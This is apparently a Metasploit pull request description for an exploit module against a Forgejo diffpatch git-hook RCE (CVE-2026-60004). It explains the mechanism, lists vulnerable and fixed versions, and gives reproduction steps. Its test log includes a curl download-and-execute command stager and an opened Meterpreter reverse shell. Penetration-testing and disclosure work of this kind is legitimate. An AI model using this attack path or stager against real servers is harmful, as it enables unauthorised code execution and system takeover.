Add Forgejo diffpatch git hook RCE exploit (CVE-2026-60004)

[jvoisin]

Description

Exploits the diffpatch API endpoint in Forgejo 7.0.0 through 15.0.5 and 16.0.0-16.0.1. Submitting a duplicate patch triggers an add/add collision in Git's three-way merge, writing an executable git hook into $GIT_DIR of the bare repository. Requires write access to any repo (or open registration).

Fixed in Forgejo 15.0.6 and 16.0.2.

Breaking Changes

None

Verification Steps

1. • get a vulnerable binary from https://code.forgejo.org/forgejo/forgejo/releases/tag/v15.0.5
2. • install it
3. • enable open registration at http://:3000/admin/config`
4. • use exploit/multi/http/forgejo_diffpatch_hook_rce
5. • set RHOSTS/RPORT/USERNAME/PASSWORD/LHOST
6. • run
7. • get a session

Test Evidence

msf exploit(multi/http/forgejo_diffpatch_hook_rce) > run
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[] Started reverse TCP handler on 127.0.0.1:4444
[] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Forgejo 15.0.5 is vulnerable
[!] Sending credentials over an unencrypted connection
[] Creating repository...
[+] Created repository jvoisin/msf-deamwfik
[] Using URL: http://127.0.0.1:8080/sKKDypM8NV
[] Generated command stager: ["curl -so /tmp/xOQTHcox http://127.0.0.1:8080/sKKDypM8NV;chmod +x /tmp/xOQTHcox;/tmp/xOQTHcox;rm -f /tmp/xOQTHcox"]
[] Submitting patch 1/2...
[] Submitting patch 2/2 (triggers hook execution)...
[] Client 127.0.0.1 (curl/8.18.0) requested /sKKDypM8NV
[] Sending payload to 127.0.0.1 (curl/8.18.0)
[] Transmitting intermediate midstager...(256 bytes)
[] Sending stage (1003868 bytes) to 127.0.0.1
[+] Hook delivered and executed
[] Meterpreter session 26 opened (127.0.0.1:4444 -> 127.0.0.1:59868) at 2026-08-13 14:41:10 +0200
[*] Deleting repository jvoisin/msf-deamwfik...

meterpreter >

Environment

Field	Details
Operating System	Fedora
Target Software/Hardware	Forgejo 15.0.5

AI Usage Disclosure

"None"

Pre-Submission Checklist

• Included a corresponding documentation markdown file in documentation/modules (new modules only)
• No sensitive information (IP addresses, credentials, API keys, hashes) in code or documentation
• Tested on the target environment specified in the Environment section above
• Included RSpec tests for library changes (encouraged for lib/ changes)
• Read the CONTRIBUTING.md and module acceptance guidelines

Hardware and Complex Software Module Guidance

If your module targets specialized hardware (routers, IoT, PLCs, etc.) or complex software (licensed, multi-service, or multi-version), provide a pcap, screen recording, or video showing successful execution.

Email sanitized pcaps/recordings to msfdev@metasploit.com — remove real IPs, credentials, and hostnames before sending. If hardware/software is unavailable, explain in the PR description.

Responsiveness and PR Takeover Policy

We want every contribution to make it into the project. If approximately 2 weeks pass after a review request without a comment or code update from you, the team may take over the PR and complete the work on your behalf.

If this happens, you will remain credited as a co-author on the final commit — your contribution is always recognized.

This policy exists to keep the project moving forward. It is not a reflection on the quality of your work or your involvement. Life happens, and we would rather finish the work together than let a good contribution go stale.